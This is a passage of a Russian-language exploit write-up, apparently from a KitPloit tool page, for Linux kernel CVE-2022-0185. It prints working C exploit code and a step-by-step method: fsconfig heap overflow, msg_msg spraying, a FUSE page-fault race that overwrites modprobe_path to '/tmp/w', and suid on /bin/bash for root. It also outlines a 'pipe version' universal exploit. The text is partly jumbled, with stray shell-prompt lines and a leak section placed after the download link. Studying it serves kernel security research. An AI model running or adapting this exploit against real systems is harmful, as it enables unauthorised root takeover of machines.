send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息,会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

}

void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }

int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));

root@kitploit:~
size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写

return size;

}

root@kitploit:~
1. В `0x1337000` делаем `mmap` одной страницы — страница 1

2. Устанавливаем длину сообщения в `0x1010-0x30=0xfe0`, чтобы сообщение ровно разбивалось на два сегмента

3. `fsconfig` готовит заполнение перед переполнением — выделяется один `kmalloc-4k`

4. Используя зарегистрированную ранее файловую систему fuse, делаем `mmap` одной страницы по адресу `0x1338000` — страница 2

5. Отправляем сообщение длиной `0xfe0` — выделяется один `kmalloc-4k` и один `kmalloc-32`. Начало сообщения находится в конце страницы 1. В этот момент в `msgsnd` **функция `copy_from_user` при копировании сообщения из пользовательского пространства в пространство ядра при достижении страницы 2 вызывает page fault, который обращается к функции `evil_read` файловой системы fuse в пользовательском пространстве**; эта функция задаётся нами и передаёт ядру то, что мы хотим записать. Кроме того, эта функция ждёт, пока описанный ниже процесс завершится, прежде чем вернуться.

6. В этот момент запускается новый процесс, который выполняет переполнение: он перезаписывает указатель `msg_msgseg * next` в заголовке сообщения `msg_msg`, находящемся за областью переполнения, меняя указатель на второй сегмент сообщения на указатель на `modprobe_path`. Затем функции `evil_read` отправляется сигнал завершения.

7. `evil_read` возвращается, выполняя запись по произвольному адресу. `modprobe_path` изменяется на `"/tmp/w"`.

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

Иллюстрация:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

Раз `modprobe_path` изменён, мы считаем, что повышение привилегий достигнуто. Дальнейшие действия эксплойта по повышению привилегий выполняются путём установки suid-бита на `/bin/bash`. Но это уже неважно.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [Новое] Анализ эксплойта (универсальная версия с искусственным dirty pipe)

Источник: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

Основная идея появилась после раскрытия CVE-2022-0847 (dirty pipe): было обнаружено, что у `pipe` и `splice` есть такой механизм:

1. Канал `pipe` состоит из 16 кэш-страниц. При каждой записи данных в `pipe` проверяется, на какой странице идёт запись; если страница дописана не до конца, запись продолжается на этой же странице. Но не все страницы можно дописывать, например, в следующем случае.
2. `splice` позволяет передавать файлы в канал `pipe`: реализация подменяет кэш-страницы `pipe` на кэш-страницы файла. Такие подменённые кэш-страницы файла не допускают продолжения записи в `pipe`.
3. Начиная с версии 5.8 для определения, можно ли продолжать запись на страницу, используется `pipe_buffer->flags`. До версии 5.8 возможность продолжения записи определяется тем, является ли `pipe_buffer->ops` значением `anon_pipe_buf_ops`.

Причина уязвимости dirty pipe в том, что `pipe_buffer->flags` не инициализируется, из-за чего кэш-страницы файла, переданные через `splice`, можно дописывать. Хотя эту уязвимость уже исправили, возникает вопрос: можем ли мы «создать искусственный dirty pipe», если получится подменить `flags`? Ответ — да. Напомню, dirty pipe — это уязвимость, эксплуатация которой не требует утечки адресов, а `pipe_buffer` — часто используемая структура-жертва при эксплуатации уязвимостей ядра, поэтому подменить его `flags` или `ops` проще простого. Ниже описывается идея реализации универсального эксплойта с помощью искусственного dirty pipe:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

Сначала распыляем несколько очередей сообщений, в каждой — одно `msg_msg` размером `0x1400`. Тогда `msg` разбивается на два сегмента: один `0x1000` и один `0x4000`. Затем с помощью внеграничной записи изменяем поле `m_ts` основного сегмента сообщения на `0x1800`:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

Так, найдя `msgid`, из которого успешно читается длина `0x1800`, можно определить, что `msg_msg` этой очереди был переполнен. Также с помощью внеграничного чтения нужно убедиться, что следом идёт сегмент 2 (`sec2`) другого сообщения. После этого все остальные очереди `msg` освобождаются:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

Затем распыляем несколько очередей сообщений, в каждой — по 16 (несколько) `msg_msg` размером `0x400`. В идеальном случае какое-то сообщение из какой-то очереди займёт освобождённый `slab` `0x400`, показанный на рисунке выше пунктиром. Получается такая раскладка: 5-е сообщение очереди X заняло этот slab:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

Затем снова через внеграничное чтение из `msg1` получаем значение `prev` у `msg5`, то есть адрес `msg4`. По содержимому, которое мы разместили в сообщении, можно определить номер очереди X и то, что сообщение находится в очереди под номером 5.

Далее освобождаем `msg6` и все сообщения после `msg6`. Затем снова добавляем в очередь X новое сообщение — оно так же встанет после `msg5`, то есть станет новым `msg6` (`newmsg6`). В `newmsg6` (в месте, где адрес не заканчивается на `0x00`) размещаем поддельный заголовок сообщения `fake head`, указывающий на `msg4`. Получается следующая раскладка:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

Затем выполняем ещё одно внеграничное чтение и записываем адрес `fake head` в `newmsg6`: это значение `msg5->next`, полученное при внеграничном чтении, сложенное с заданным нами смещением.

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

И ещё раз, по новой: снова выполняем внеграничную запись, на этот раз перезаписывая указатель `next` в заголовке `msg`, чтобы он указывал на `fakeHead` в `newmsg6`, — его адрес мы только что получили:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

Напрямую освобождаем `msg4` через очередь `msgX`, затем распыляем `sk_buff`, чтобы занять освобождённый `msg4`, и подделываем `next` и `prev`, указывающие на самого себя (адрес уже известен), чтобы при повторном освобождении обойти проверку `unlink` у `msg`:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

Затем ещё раз освобождаем `msg4` через очередь `newmsg1` и снова занимаем его объектом `pipe_buffer`, так что `sk_buff` и `pipe_buffer` занимают одну и ту же область. Получается следующая ситуация:

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

Дальнейшие действия можно напрямую взять из второй половины «[Победное уравнение](https://blog.csdn.net/Breeze_CAT/article/details/124887764)», эксплойт: https://github.com/veritas501/CVE-2022-0185-PipeVersion

## Приёмы отладки

Соответствующие символы:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

условная точка останова``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig

root@kitploit:~
## Ссылки

github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [Анализ и эксплуатация CVE-2022-0185, размышления и практика по новым примитивам pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
Скачать инструмент
  • Затем добавляем ещё 21 символ; вместе с ",=" получается 23 символа — в этот момент происходит переполнение. Поскольку до этого мы заполнили до 4095, фактическое переполнение составляет 22 байта, то есть 0x16. Однако в обычной ситуации при таком переполнении затирается ещё не использованная (не выделенная) память.

    image-20220304094225004

  • Продолжаем вызывать msgsnd, выделяем структуру msg_msg (она будет разделена на две части). Так как длина первой части msg равна kmalloc-4k, она с высокой вероятностью будет размещена сразу после legacy_data и перезапишет только что затёртую область — впрочем, это неважно.

    image-20220304094808536

  • Продолжаем вызывать fsconfig для переполнения; это и есть причина, по которой переполнение делается в два захода. Цель предыдущего переполнения на 22 байта — лишь сдвинуть указатель в начало поля m_ts (обозначающего размер msg) в заголовке msg_msg. Теперь при повторном переполнении в начало будут добавлены два символа ",=", так что как раз можно перезаписать поле m_ts в заголовке msg_msg и изменить размер msg.

    image-20220304094928314

  • Распыляем множество структур seq_operations; так как они относятся к kmalloc-32, с высокой вероятностью окажутся сразу после второго сегмента сообщения

    image-20220304095339445

  • Затем принимаем сообщения. У одного из сообщений мы переполнением изменили size, поэтому при чтении произойдёт выход за границы, и мы считаем расположенные следом структуры seq_operations, завершив утечку.